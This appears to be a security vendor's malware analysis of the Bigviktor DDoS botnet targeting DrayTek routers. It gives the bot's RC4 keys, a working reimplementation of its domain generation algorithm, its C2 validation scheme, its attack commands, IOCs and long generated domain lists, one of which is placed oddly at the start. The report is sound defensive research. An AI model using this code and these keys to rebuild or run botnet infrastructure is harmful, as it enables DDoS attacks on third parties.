lovefast-check.link
learnsouthern-art.rocks
considerprofessionalowner.tel
meanspecificclassroom.nl
bring-fewspare.xyz
read-obvious-stress.org
stand-eastappointment.art
killacceptabledump.click
happentypicalweather.one
email.stayupstairswave.top
webmail.doevening-literature.realty
admin.passbravesleep.observer
addboth-league.realty
raiseplastictowel.club
comelittlebit.org
gw.continuechoicelink.club
happenpopularfamiliar.fans
allow-classicscale.net
expecttightimagination.rocks
noc.beginonlypromise.art
serveappropriatebutton.one
usesillypermission.top
include-eachpension.pictures
remembertrainingpermit.rocks
understandfemale-equipment.pictures
dieresponsible-brief.link
tftp.offer-corner-border.one
saybriefgreat.realty
tellkindkeep.pictures
hold-tough-farmer.top
passnationaldifference.net
shop.send-deep-month.pictures
buystrictconsist.observer
offerremarkabledress.com
buycomprehensiveopening.tel
fall-appropriate-employee.art
seemheadchip.observer
sendremarkablesock.pictures
sell-psychological-board.club
meanimportantmarriage.in
stayconstanta.nl
knowfatmedium.one
providecriticalplay.click
beparkingtechnology.futbol
speakcuriousextension.futbol
www.speakwooden-evening.realty
allowcomplexleather.futbol
setaggressivewall.realty
leadchemicalsuccess.nl
createpracticalimportance.tel
likeremoteinitial.info
m.setsuddendesign.in
killmaintransportation.com
playcapitalsad.org
tftp.learnsorrytype.nl
keepwrongphone.futbol
let-emergencysinger.observer
offerafterbrick.link
seemcharactermixture.club
expectwild-concept.rocks
makesome-tower.click
sayasleepresource.art
remainyellowregular.tel
mean-lastoutside.org
www1.movestock-nose.nl
followemergency-camp.nl
offernoveloutside.xyz
looknicenorth.top
lovetrainingtoe.observer
leadwrongactor.in
th.consider-immediate-specialist.top
raiseslight-win.club
seemlonely-quality.info
tftp.buildappropriatevast.club
followalonewonder.rocks
web.growstillscreen.art
rememberprofessionalpresentation.rocks
requirestrongchip.pictures
tryanotherunique.club
decideopenwriting.com
helpunusual-daughter.pictures
email.followsmalldeparture.link
rememberbeautiful-test.top
send-searecipe.info
buypersonallife.xyz
createkitchenchild.click
havemuch-page.pictures
expectbackgroundaddition.observer
leavequietmarket.org
starthismix.link
movepresentinternational.realty
dointeresting-control.futbol
ww1.remainsoutherncity.pictures
usecarproduce.one
raiseeveningcorner.art
believesecret-female.net
happenlivingtill.one
shop.loseeaststill.xyz
decidefineentry.info
openphysicalsympathy.info
lovevisualdebate.nl
tryopeningwhile.link
have-plasticdrawer.top
news.tellpregnantratio.one
changeunhappysecond.observer
reportkitchen-formal.one
trypopularreplacement.click
trymaster-self.pictures
wantsecretdevice.rocks
feelwideestate.xyz
email.killcheap-poetry.futbol
letparkingbuddy.art
do-sensitivesex.info
cutmanymine.xyz
build-comprehensivepick.club
followdirty-reach.club
th.getunfairscene.futbol
changeintelligentdeep.com
considerhisreputation.nl
buildcurrentlesson.one
cloud.set-thinkpattern.one
bringdeep-revolution.one
askeducationalsuggestion.futbol
dopretendgear.com
ftp.pull-topsector.fans
bringbrightpull.in
work-afraidyard.art
standtalltarget.in
set-slight-proof.futbol
vpn.diefreeyesterday.futbol
liveequalbook.tel
learnpretendtechnology.net
startseparateopening.nl
find-yellownational.fans
callmedium-son.one
happenexternal-candy.click
stoptraditionalfuel.futbol
raisetotalapplication.art
spend-accordingwill.rocks
pullnearbywall.tel
talkeitherjuice.fans
continueunablebet.observer
img.cutwonderfulcheek.observer
followobviouscode.club
waitlonelygift.nl
passaggressivedefinition.pictures
ssl.putsea-people.club
killleadingexam.realty
waitotherwiserequirement.fans
feelpure-conference.rocks
stayoriginalprocess.fans
pulltimeswitch.observer
leadlevelcomfortable.xyz
startbriefeffective.net
sayembarrassed-maintenance.fans
wantrelevantbar.pictures
knowbornoutside.click
do-innerpen.club
tryresponsible-injury.click
webmail.remembersafehang.art
raisefewmix.in
holdstatus-forever.net
change-distinctrecording.net
comeplasticpermission.futbol
suggestgreatstudio.top
email.bringpretty-guide.org
changesouth-preference.org
wantseverebread.futbol
sellbettermail.observer
decideawayad.futbol
staymassive-yellow.xyz
www1.understandusefulpaint.org
workcheap-disaster.nl
letpatientunique.link
watchfair-bug.nl
holdasleepstructure.observer
</code></pre>
<!--kg-card-end: markdown--> | Overview
On June 17, 2020, 360Netlab Threat Detecting System flagged an interesting ELF sample (dd7c9d99d8f7b9975c29c803abdf1c33), further analysis shows that this is a DDos Bot program that propagates through the CVE-2020-8515 vulnerability which targets the DrayTek Vigor router device, and it uses DGA (Domain generation algorithm) to generate C2 domain names.
The program uses "viktor" as file name ( /tmp/viktor) in the propagation process, also a special string 0xB16B00B5(big boobs) was used in the sample , we combined the two and named it Bigviktor.
From the network’s perspective, Bigviktor’s DGA generates 1000 domain names every month, and traverses the 1000 domain names by requesting RC4 encryption & ECSDA256 signed s.jpeg , When a live C2 responses the request, bot then takes the next step to request for image.jpeg from C2 to get more instructions.
Bigviktor supports 8 kinds of instructions, which can be divided into 2 major functions
• DDoS attack
• Self-renewal
The overall network structure is shown in the figure,
Botnet scale
Daily Active Bot
DGA is a double-edged sword. While giving the author good chance to evade detection, it also gives security researcher the opportunity to register domain names to hijack infected hosts of botnets.
We registered several domains names generated by Bigviktor in June and July (workfrequentsentence.club , waitcornermountain.club), so we were able to tap into it network to measure the scale of the Botnet. As of now we only see about 900 active infected IPs. However, When taking a look at the requests of Bigviktor DGA domain name, we can see the trend is steadily going up. Its daily active Bot trend is shown in the figure below:
Bot geographic location
The IP area distribution of infected devices is as follows:
The main ASN distribution of these IPs is as follows:
412 AS45899|VNPT_Corp
194 AS7552|Viettel_Group
190 AS18403|The_Corporation_for_Financing_&_Promoting_Technology
90 AS3462|Data_Communication_Business_Group
82 AS15525|Servicos_De_Comunicacoes_E_Multimedia_S.A.
66 AS8151|Uninet_S.A._de_C.V.
52 AS45903|CMC_Telecom_Infrastructure_Company
34 AS3352|Telefonica_De_Espana
28 AS17552|True_Internet_Co.,Ltd.
22 AS8881|1&1_Versatel_Deutschland_GmbH
Infected device
By obtaining the title of the infected device's 80, 8080, and 443 port web pages, we know that the currently distributed version of the infected DrayTek Vigor router is:
269 Vigor 2960
107 Vigor 3900
87 Vigor 300B
Reverse analysis
We have captured a total of 2 versions. The first version of the bot program seems to have bugs and cannot run normally. This article uses the latest version as an example for reverse analysis.
MD5:dd7c9d99d8f7b9975c29c803abdf1c33
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Packer: None
Generally speaking, the Bigviktor function is relatively simple. It binds a local port at runtime to implement a single instance, uses the RC4 algorithm to decrypt sensitive resources, including the strings to be used by DGA, and then uses DGA to generate 1000 C2 domain names based on these strings. Then the bot uses the libcurl library to send a request to the built-in legit websites to test network connectivity. If the network is up, it moves on to next step to request the s.jpeg from the C2 domain to verify the legitimacy of C2; after passing the legality test, it goes to final step to request the male.jpeg and image.jpeg resources from the C2 domain to conduct DDos attack.
We can roughly divide the bot behaviors into two categories: auxiliary behavior and malicious behavior, let us take a close look.
Auxiliary behavior
1: Use libcurl library to access network resources
DNS Option:
1.1.1.1,8.8.8.8
User-Agent Option:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
Accept Option:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
2: Bind port 61322 to implement a single instance
3: RC4 encrypts sensitive resources, the resources include the stings required by DGA, legit websites, upgrade file storage path, etc.
The RC4 key is
DA B2 F1 F7 32 FD 03 BA 58 DB FF 53 8B F2 6F 01
02 FF 00 01 03 05 00 DE 02 FF 00 01 7C DF 92 91
Take the suffixes required by DGA to generate domain as an example, the ciphertext is as follows
00000000 34 f5 96 77 11 66 35 4f 1d ae b6 04 57 77 79 9d |4õ.w.f5O.®¶.Wwy.|
00000010 db 36 d4 a8 38 5a e2 9f 6a a2 79 bf 6a 6f bf 2f |Û6Ô¨8Zâ.j¢y¿jo¿/|
00000020 cb 84 63 d4 70 c7 64 11 c6 d0 71 b3 f0 bb 54 c9 |Ë.cÔpÇd.ÆÐq³ð»TÉ|
00000030 cc f7 50 60 e2 53 72 1a ae 87 61 17 88 b0 2a 04 |Ì÷P`âSr.®.a..°*.|
00000040 71 ec f8 3d cc 42 8b 28 27 81 9b 4d 80 0c 50 3f |qìø=ÌB.('..M..P?|
00000050 d5 01 4b 8d 62 48 7f 88 7f a0 09 b9 53 b0 a0 0d |Õ.K.bH... .¹S° .|
00000060 41 6c 59 cd 2a 42 36 f1 71 71 12 bf fd 59 66 52 |AlYÍ*B6ñqq.¿ýYfR|
00000070 b2 ab c4 1e c5 30 14 19 c8 08 82 ee 29 8c 54 ab |²«Ä.Å0..È..î).T«|
00000080 34 99 0e f1 15 c8 e6 69 5e 33 3c c7 c6 ee 44 8a |4..ñ.Èæi^3<ÇÆîD.|
00000090 c2 b4 7c 76 fc 08 cf cd 0c db 34 82 e0 08 40 52 |´|vü.ÏÍ.Û4.à.@R|
000000a0 07 ec d4 0e e9 57 ee 4f 2d 0b 7e 19 51 75 b4 10 |.ìÔ.éWîO-.~.Qu´.|
000000b0 3b 97 d8 29 64 aa 4b 5c 67 77 16 b6 36 4b 6d c2 |;.Ø)dªK\gw.¶6KmÂ|
000000c0 47 09 bd b0 a7 d4 43 21 2c e5 af 41 8a ea 25 dc |G.½°§ÔC!,å¯A.ê%Ü|
000000d0 fe d3 18 28 bc 19 07 19 cd f0 84 51 9e 6a 3e b1 |þÓ.(¼...Íð.Q.j>±|
000000e0 5f 2a e0 13 51 ba 62 46 26 83 86 63 0b ed ad be |_*à.QºbF&..c.í.¾|
000000f0 59 51 e7 0b cf a7 d0 1a 94 e8 ed c2 cc f2 21 17 |YQç.ϧÐ..èíÂÌò!.|
00000100 e5 7a b5 6f 84 66 8a a1 c1 18 52 cb 50 38 6b ea |åzµo.f.¡Á.RËP8kê|
00000110 4b 10 13 56 13 b4 9c b2 3b b4 3e 4c 3c cc 01 cc |K..V.´.²;´>L<Ì.Ì|
00000120 81 ab 13 97 6c 49 e7 85 54 5f d0 92 3f 9b 7d a8 |.«..lIç.T_Ð.?.}¨|
00000130 44 72 81 54 50 4f e1 7f b5 fd 1a 78 3b 14 e3 d4 |Dr.TPOá.µý.x;.ãÔ|
After decryption
00000000 61 72 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |art.............|
00000010 63 6c 69 63 6b 00 00 00 00 00 00 00 00 00 00 00 |click...........|
00000020 63 6c 75 62 00 00 00 00 00 00 00 00 00 00 00 00 |club............|
00000030 63 6f 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 |com.............|
00000040 66 61 6e 73 00 00 00 00 00 00 00 00 00 00 00 00 |fans............|
00000050 66 75 74 62 6f 6c 00 00 00 00 00 00 00 00 00 00 |futbol..........|
00000060 69 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |in..............|
00000070 69 6e 66 6f 00 00 00 00 00 00 00 00 00 00 00 00 |info............|
00000080 6c 69 6e 6b 00 00 00 00 00 00 00 00 00 00 00 00 |link............|
00000090 6e 65 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |net.............|
000000a0 6e 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |nl..............|
000000b0 6f 62 73 65 72 76 65 72 00 00 00 00 00 00 00 00 |observer........|
000000c0 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 |one.............|
000000d0 6f 72 67 00 00 00 00 00 00 00 00 00 00 00 00 00 |org.............|
000000e0 70 69 63 74 75 72 65 73 00 00 00 00 00 00 00 00 |pictures........|
000000f0 72 65 61 6c 74 79 00 00 00 00 00 00 00 00 00 00 |realty..........|
00000100 72 6f 63 6b 73 00 00 00 00 00 00 00 00 00 00 00 |rocks...........|
00000110 74 65 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 |tel.............|
00000120 74 6f 70 00 00 00 00 00 00 00 00 00 00 00 00 00 |top.............|
00000130 78 79 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 |xyz.............|
4: Access a legit website to test newtork connectivity and obtain the current date
The legit websites can be decrypted by RC4, and we got the following sites
jd.com weibo.com vk.com
csdn.net okezone.com office.com
xinhuanet.com babytree.com livejasmin.com
twitch.tv naver.com aliexpress.com
stackoverflow.com tribunnews.com yandex.ru
soso.com msn.com facebook.com
youtube.com baidu.com en.wikipedia.org
twitter.com amazon.com imdb.com
reddit.com pinterest.com ebay.com
tripadvisor.com craigslist.org walmart.com
instagram.com google.com nytimes.com
apple.com linkedin.com indeed.com
play.google.com espn.com webmd.com
cnn.com homedepot.com etsy.com
netflix.com quora.com microsoft.com
target.com merriam-webster.com forbes.com
tmall.com baidu.com qq.com
sohu.com taobao.com 360.cn
tianya.cn
Visit one of these URLs to get the current date, which will be used in DGA.
format %a, %d %b %Y
Fri, 10 Jul 2020
Malicious behavior
1: Use the C2 domain name generated by DGA
The format of the domain name is [prefix.]verbe[-]adjective[-]noun.surfix, the content in [] indicates optional, theprefix has 40 words, the verbe has 100 words, the adjective has 525 words, noun has 1522 words, and surfix has 20 words. The algorithm is implemented as follows
void GenNewKey(uint32_t &key)
{
uint32_t tmp = key ^ (key << 13) ^ ((key ^ (uint32_t)(key << 13)) >> 17);
key = tmp ^ 32 * tmp;
};
string c2url;
GenNewKey(seed);
//1:prefix part
if (seed % 5 == 0)
{
GenNewKey(seed);
c2url += prefix[seed % 40];
c2url += ".";
}
//2:verbe part
GenNewKey(seed);
c2url += verbe[seed % 100];
GenNewKey(seed);
if (seed % 10 <= 1)
c2url += "-";
//3:adj part
GenNewKey(seed);
c2url += adj[seed % 525];
GenNewKey(seed);
if (seed % 10 <= 1)
c2url += "-";
//4:noun part
GenNewKey(seed);
c2url += noun[seed % 1522];
c2url += ".";
//5:surfix part
GenNewKey(seed);
c2url += surfix[seed % 20];
The current date converts into a string with format%b %Y 00:00 and the initial key is the first 4 bytes of the SHA256 value of the string, for example
currtent date: Fri, 10 Jul 2020
format ---->Jul 2020 00:00
sha256 ---->6ac0f83915ed5d7b9bb7055723084df001b16a552d758de3c415f083f931ab8c
get first 4 bytes ----> key=0x6ac0f839
Therefore, the DGA doamin is different every month. Taking the July key (0x6ac0f839) as an example, the first 5 domains generated
c2url: decidefresh-county.in
c2url: payculturaltour.org
c2url: standvisiblereach.rocks
c2url: meanforwardcap.top
c2url: raisefitsize.rocks
When we observe the actual DNS data in packet, we can see the result matches.
See the end of the article for all DGA domains in July.
2: Get the current effective C2
To connect to a vaild C2, Bigviktor start from a random position of the 1000 DGA domains. If there is no valid C2, it goes back to the first domain name and start over again.
In order to ensure that the network is completely controllable and not stolen by others, Bigviktor will verify the signature of the s.jpeg file. Only after passing the signature verification, a C2 is deemed valid.
The real payload encryption is hidden in the jpeg (s.jpeg;image.jpeg)file. The structure of jpeg is IMAGE DATA(16 BYTES): Half-RC4 KEY(16 BYTES): Ciphertext. Each sample integrates a Half-RC4 KEY(16 BYTES),each payload integrates a Half-RC4 KEY(16 BYTES), two Half-RC4 keys are spelled into a complete RC4 key(32 BYTES); also a hard-coded ECDSA256 public key is used to verify the decrypted payload.
Half-RC4 KEY:
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
Pub KEY:
03 2F 37 51 43 1F A3 58 81 66 86 F7 BA 4C A2 30
45 2C 9B 9E 12 9A E9 97 CF 69 09 CF 7F 42 D4 97 88
Take s.jpeg(md5:4c6d0bed21bc226dbaf4e6adc7402563) as an example
Splice out the complete RC4 key
Half RC4 KEY from s.jpeg + Half Rc4 from sample
------------------------------------------------------
46 00 B2 65 B0 3F 97 7F CF CB 65 31 1F D2 B3 A0
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
Decrypt Ciphertext to get
When the verification is successful, a valid C2 is obtained.The procedures of verification need to meet these condition
* signature verification
* Plaintext[2] ==\x00,Plaintext[3] ==\x09
* C2 in the plaintext is same as the Dga domain which responds to the s.jpeg request.
3:Ask for specific tasks from C2
After the Bot obtains a valid C2, it will request the image.jpeg resource from C2
Similarly, image.jpeg also needs to be decrypted and verified. After successful verification, the Bot will perform the corresponding DDos attack or update according to the instructions of image.jpeg.
Bigviktor supports a total of 8 operations,
cmd
cmd description
1
null
2
connect attack
3
tcp syn attack with fixed source ip
4
tcp syn attack with random source ip
6
update
7
tcp syn attack with random sourceip from male.jpeg
8
tcp syn attack with random sourceip from male.jpeg
9
null
Take a payload from June,image.jpeg(md5:2e8c223f8ac1f331c36acd32ee949f6f) as an example
Decrypt Ciphertext to get
We can see that bot will launch "connect" ddos attack and the target is 202.162.108.55:80. The result matches the pcap info.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.
IOC
Sample MD5
7b1ab096b63480864df7b0dcfebe2e2e
dd7c9d99d8f7b9975c29c803abdf1c33
URL
http://91[.219.75.87/binary
http://91[.219.75.87/arm7
C2-IP
151.80.235.228 AS16276|OVH_SAS France|Hauts-de-France|Gravelines
C2-Domain
useinsidehigh.com:80
writeseparateliterature.com:80
Payload
4c6d0bed21bc226dbaf4e6adc7402563 s.jpeg
2e8c223f8ac1f331c36acd32ee949f6f image.jpeg
DGA domains in July
decidefresh-county.in
payculturaltour.org
standvisiblereach.rocks
meanforwardcap.top
raisefitsize.rocks
www2.tellapartspring.realty
expectrawknee.com
decidesurepizza.rocks
img.leavetall-sky.nl
dodifferentuser.fans
become-thatspare.futbol
play-better-parent.observer
telldesignerpanic.art
appear-weakrate.observer
support.showremote-conclusion.fans
raiseover-piano.org
meancoolpick.pictures
bringjunior-bench.art
ssl.remainunhappyboy.info
readafterask.net
leavelogicalambition.tel
takedramaticprimary.rocks
test.likerarereality.xyz
cloud.runconstantnerve.fans
stopseafemale.observer
offer-individualthroat.fans
meanthickprivate.info
turnfederalemploy.art
tellcold-top.one
mail2.comefirmdeposit.nl
liketypicalcorner.net
buyliving-balance.observer
video.continueleft-contact.nl
askformer-mission.top
learnaggressive-she.org
email.hearlateformal.in
keepunitedbirth.art
turntruebreakfast.futbol
cutmaingolf.art
dev.likefemalepush.rocks
dev.holdfeelingpreference.click
findvariousfish.tel
tftp.seempowerful-south.art
video.comepureproposal.link
watchcapable-sample.rocks
growborn-law.click
bringefficientvalue.one
beginlower-man.nl
speakoriginalworld.one
putmoneyearth.fans
have-wastebutton.futbol
findwildcollar.info
livepotentialdebt.pictures
mail.pull-capableprofession.tel
passbornsafe.rocks
spendcuteform.realty
walkgrandspot.pictures
take-scaredline.art
set-expensiveice.click
getnovelscratch.in
look-existinghang.com
cloud.considerunhappymain.click
www.hold-futuredisk.rocks
openlegalbus.fans
blog.hearfreshmachine.tel
mail.callthatcouple.click
leaveswimming-cold.one
go-healthyproject.observer
meanconnect-construction.nl
walknervous-video.nl
becomelast-western.com
remembersquare-sale.info
provide-roundwill.com
blog.standswimming-double.rocks
secure.seem-famoushire.tel
speakotheropening.org
holdsudden-psychology.top
hold-frontfilm.one
bringbusinesshold.realty
giveacceptablepay.link
allowremoteindependent.pictures
helpsillyhate.click
knowyellowinstruction.info
seeinternationalmachine.art
considermalescrew.click
paylife-camp.tel
makeold-course.com
www2.becomewarmrefrigerator.nl
download.decidewisecourt.rocks
lose-originalemployer.observer
leadeastprompt.futbol
changeconfidentboot.art
waitcornermountain.club
ww1.understandlegal-cancel.link
suggest-global-other.realty
changeluckytitle.com
playprivateconstruction.art
blog.mean-anyimagination.info
decide-currentemployment.top
considerupsetvirus.fans
letcornercurve.fans
talkfamousfather.club
findvastcoat.org
mail2.use-farbitter.org
remember-chemical-status.tel
vpn.try-signalsort.org
addhappyswim.xyz
standsuddeninternal.tel
raiseanxiousguitar.one
speak-weekly-hire.org
needclosetonight.realty
mail.fallfrequent-affair.fans
startpregnantreference.pictures
appeartight-fun.fans
cutplastic-drag.club
worksea-assumption.com
buytrainingdrag.one
needfemalebrown.futbol
want-mountainform.observer
pop.getless-remove.pictures
mail2.runelectronic-collar.fans
raiselogicalpin.tel
believeextraorganization.realty
remote.servepleasant-cloud.pictures
allowotherdesire.in
set-partycount.realty
diecutemuscle.net
start-sexualfactor.net
dienearbychart.xyz
ns1.requireanxiousflight.nl
a.happenaction-item.tel
secure.reportperfectyouth.xyz
runtraditionalact.observer
becomeunfairsugar.info
news.growfrontclimate.tel
images.expectpurplewriter.pictures
images.seemmaterialvegetable.pictures
runsuitablestruggle.xyz
appearfullfoundation.tel
sellharddead.in
continuebothpipe.com
watchvegetabledatabase.click
stopmiddleapple.net
use-sweetdebt.rocks
meet-purechurch.club
hearduewarning.nl
adddifferent-reference.nl
download.takehousemom.click
buildrawcloset.xyz
putactualsecond.realty
move-muchagreement.club
vpn.letfirst-concept.observer
th.sitthin-character.rocks
www2.dieseparatefeed.in
blog.buyextremeatmosphere.click
believelegalscale.info
buildappropriatestable.net
watch-coolproject.fans
doalternativeseries.link
pull-inevitable-medicine.org
staybroadcost.fans
seeofficial-thanks.net
readlostdiscount.art
serve-redtour.fans
showleatherloss.click
x.putweird-situation.net
loseanotherdisease.realty
mail2.become-alternativeside.futbol
setimpressive-sign.click
x.appearavailablebad.realty
startunusual-status.futbol
noc.waituglyclick.org
download.buildthinkreserve.fans
expectvegetablecurrency.xyz
ftp.spenddirtyrepublic.tel
email.die-prettycandle.art
pop.make-active-pass.click
lovebeginningvast.realty
includeotherwisefamily.xyz
work-historicalarm.nl
passclosescience.pictures
a.sitloud-damage.info
addinternalfreedom.futbol
set-okconcert.realty
requireenvironmentalhelp.nl
download.need-beginningfinal.art
offerdecent-twist.in
dieoriginalpeak.futbol
learnremarkabledefinition.futbol
killembarrassedclient.net
killterriblerecord.tel
images.createrichdisplay.observer
holdlowerfunny.fans
sitsorrycash.realty
playprevioustrain.net
changewestbar.net
showaggressivedamage.nl
feelnecessary-counter.click
liveproudconsequence.realty
try-decent-joint.info
trylatter-trainer.com
showsick-crack.tel
help-animal-boyfriend.org
followpropercollar.nl
take-cultural-white.futbol
workindividualpull.click
dosecuregeneral.link
likeseaprogress.art
worktrueamount.info
pullmalechurch.info
loseseaconstruction.realty
addliveruin.top
writerelevanteast.com
helpsquare-ticket.org
start-unlikelyspring.top
cutrepresentativeslice.xyz
seemiddle-cigarette.in
stopafternoonhistory.xyz
comedrunkindustry.rocks
workenvironmentalthing.club
considerover-expression.xyz
reportcreative-advance.rocks
remainfemaleblind.observer
leavewildcarry.observer
web.mean-businessgreen.observer
followworkstar.futbol
allowamazing-operation.click
gw.havefreshversion.org
remembergrosssingle.click
likecutedevelopment.info
images.showwest-funeral.club
letclassicrefrigerator.in
sayinterestingshow.com
writesufficientglad.click
test.considerusefuldrawing.art
liveslowstar.link
comebudget-improvement.com
setconfidentessay.link
happenunablerock.tel
sitapartdepartment.org
continueopenmap.com
test.writepretendcheek.one
build-representative-score.club
happen-eithermajor.realty
ssl.passplasticdiscussion.observer
killbestinevitable.futbol
pullelectricaltone.observer
img.movemeanadvertising.in
startsuccessfulsick.link
createinevitablelayer.one
setwinterfee.pictures
allow-exactsport.info
helpapartpossession.org
gw.appearsuchquality.com
becomefutureleather.xyz
use-leastmarriage.xyz
includebestjacket.rocks
cam.turn-federalnovel.tel
meetelectricalmain.click
pop.needmajor-pin.com
noc.sit-royaltrouble.net
offerwildincome.top
remote.heareveningwhole.xyz
serveokexchange.click
come-totalsignature.club
offerlowersimple.one
test.cutforwardnasty.nl
livemassive-give.org
ssl.understandweird-chocolate.info
becomeparkingpositive.fans
know-excitingappointment.realty
playtemporaryhand.tel
growdaughtercross.in
reportculturaldistance.club
decide-physicalexam.com
sell-ordinaryradio.com
buy-big-reason.org
ww1.bedependenthospital.top
th.continuenexttop.in
feelenoughmedicine.net
continueflat-meet.org
hearresidentworry.futbol
servesufficientplace.art
x.leadnervouspresident.info
suggestminorconcept.link
img.providecomprehensivenerve.nl
winloosefeedback.nl
findoppositebonus.one
change-evenexplanation.link
walkdeadluck.futbol
sitbusiness-note.rocks
happenfungather.fans
offer-characterdiamond.xyz
know-first-background.link
dev.show-trainingdouble.in
keepmanycard.top
ns1.makechance-chapter.click
reportsparegear.one
images.remainthin-wall.observer
lovesuperconsideration.rocks
www.dostraightcalm.observer
letfutureslide.one
findmediumlog.net
require-globalfix.fans
keep-forwardsomewhere.link
bringparkingperception.observer
web.fallleastcamera.top
showparkingconcern.futbol
find-worksun.one
web.tellaccuratefoot.club
tellleft-scene.observer
appeartop-writing.link
likeextremecategory.info
learnheadexchange.realty
passlogicalminor.link
asktotalfile.in
watchasleeplight.futbol
bringpluscan.futbol
email.be-careful-midnight.one
video.offer-psychologicalknowledge.info
seemostuncle.realty
ftp.takelegalcourt.observer
followwillingpsychology.link
continueexactresponse.observer
shop.seeplentyboot.pictures
ns1.make-wonderful-hold.observer
pop.sayalonelight.realty
include-severe-society.click
followsuspiciousmoment.nl
tftp.includerepresentativepost.xyz
helpsuccessfultitle.top
includevisualconsideration.observer
bringafraidslide.realty
learnchancetelephone.info
movesmallentrance.org
give-superdate.nl
requiredaymoment.in
likeactionif.futbol
noc.likeemotionalpreference.one
openhorror-tie.realty
expectevenmilk.top
meanactioninternet.link
images.begreen-simple.one
includeleather-she.pictures
talkawareissue.club
sayindependentplayer.xyz
changeillegalriver.info
seelongthroat.observer
playanxiousrole.info
feelminutedegree.observer
follownastymountain.rocks
tellprettyegg.org
passactualstable.observer
mail2.leadbestmistake.observer
help-aliveresearch.info
runsalt-college.com
tellbest-necessary.link
requireannualpolice.pictures
pullyoungview.realty
makedarkcontract.observer
shop.help-healthythought.net
remain-practicaloutside.observer
sellenvironmental-harm.futbol
stop-thismilk.info
includeuniquecandle.pictures
thinkrelevantchildhood.org
webmail.waitspecialistcompany.in
seem-brilliant-device.futbol
takerightpartner.observer
mail.useplanebus.fans
thinkperfectcompany.tel
appearpresentshirt.realty
bringupstairscommunity.club
keep-electronicinteraction.in
fallnice-blue.link
sendappropriatefuneral.info
tellawaydesign.top
tftp.runswimmingimprovement.fans
lookthenpositive.pictures
moveplastic-history.top
havewildhit.com
cloud.playsouthnormal.nl
setswimmingsuit.in
movepositivemove.link
playgrosslandscape.art
createnextguest.rocks
gominutepie.club
killfemaleprofile.click
spendimmediaterush.club
openweekly-watch.one
dev.believedesignercharacter.in
try-redcommittee.com
tftp.providestill-thing.net
includemothermiddle.realty
smtp.writebeginningitem.xyz
open-proudprinciple.com
noc.expectbravewonder.art
readcivil-slip.click
go-motorprofessor.click
feeldramaticdig.pictures
beexcellentangle.xyz
startafterchemistry.xyz
vpn.give-formerhat.top
writefunnyassignment.fans
webmail.buy-roughcigarette.fans
giverawdistrict.xyz
come-historicalinstruction.org
mail2.tellannualarrival.observer
server.find-simpleincrease.in
img.live-informal-desk.futbol
buildefficientstaff.rocks
seeguiltybike.futbol
allowtypicalmonitor.link
look-famousexcitement.nl
lead-awaybar.observer
readdresssense.link
www1.rememberlocalgift.in
buildusualrisk.observer
work-extremestop.link
read-educationalpanic.net
expectagohusband.in
includepowerfulworker.info
losewholeauthor.com
work-wastedivide.in
sellbig-test.org
require-livingmeaning.com
spendusedchildhood.click
needvaluableanywhere.pictures
likesoftbowl.net
helpcivil-net.org
callupstairseconomy.link
readkitchenmotor.click
fallcalmanimal.pictures
email.takefederal-leading.xyz
wait-rareenergy.com
needsaltswim.click
winlower-command.in
tellhugecandidate.one
reportrawchapter.xyz
beginaccurateoriginal.tel
setshotguard.one
remote.turnpartyengineer.club
buyhousecomfortable.com
turn-successful-official.observer
tftp.walkmediumgroup.futbol
fallpriorshopping.futbol
waitpleasantquality.rocks
showscaredsquare.one
stop-closecard.tel
moveminimum-self.rocks
support.followholidayairline.observer
playdarksociety.top
sitenoughdetail.net
becomeaccurateuser.rocks
workheavybrief.fans
setafteradult.net
makewhat-title.club
hear-relative-philosophy.observer
keepmoneygrade.pictures
spend-firstinterest.art
asklocalnasty.link
talk-alive-family.nl
sell-significantoccasion.top
bedressfold.fans
waithappysell.top
lead-lostsurround.link
findinternalmain.realty
think-legalresult.link
www2.dofullhold.club
beordinarynews.art
pass-wineunit.nl
appearemergencytruth.info
turndistinctscreen.nl
leadfederalwater.top
think-capable-concentrate.in
bringdrunk-monitor.com
set-joint-equivalent.com
understandinnercompany.art
loveleather-extent.click
trypatient-detail.one
appearminutehunt.one
askinteresting-daughter.club
ssl.expectupsetif.club
rundesperatebook.tel
speakdressinternet.com
needcuriousfootball.top
noc.stayaccuraterelative.link
bringshotdemand.com
movefreenature.com
ww1.changeshotprofit.pictures
standsexual-instruction.com
readweakpoint.realty
growrealistictext.realty
knowunfairprocedure.futbol
appear-leading-jacket.observer
news.losefairsuit.top
pullleading-promotion.top
looklessparent.xyz
likeoutsidepresence.one
webmail.talk-normalred.link
look-small-image.org
show-clean-command.art
startfriendlyconstant.info
lookwholebelt.xyz
learn-sweetcream.top
dieeitherimage.com
suggestfunny-salt.link
sithealthymembership.info
playculturalresponsibility.com
saygeneralprize.pictures
appearhonestcup.org
begin-leftspare.one
believepublicpermit.in
mail2.lookcreativeintroduction.in
fall-capablepersonal.in
hearnorth-fortune.com
learncuriousideal.link
remote.havecompletesoil.net
dosmoothhousing.info
reachinternationalchapter.one
understandafternoon-oven.art
provideenoughrich.one
web.showplanegrandfather.in
report-existinginstruction.tel
dodecent-entry.in
becomestreetnose.info
video.gomaterialcap.realty
killtemporarybrush.com
th.lookpracticalteacher.one
hear-basiccrew.realty
talkexpertbirthday.realty
mail2.get-evenversion.art
comeadultfamily.art
smtp.understandillegal-great.one
img.addangrylip.in
stopsilvernews.nl
continue-mentaleffort.xyz
dieafternoonvisual.click
trywhite-juice.club
ask-betterequipment.nl
go-awareinflation.rocks
provideeducationaltie.link
loveunfairlow.org
buildnational-preference.realty
readvariousengineer.one
learndry-possible.click
expectunlikelygrand.info
raise-weekly-till.net
take-rare-figure.xyz
seeplasticbeing.click
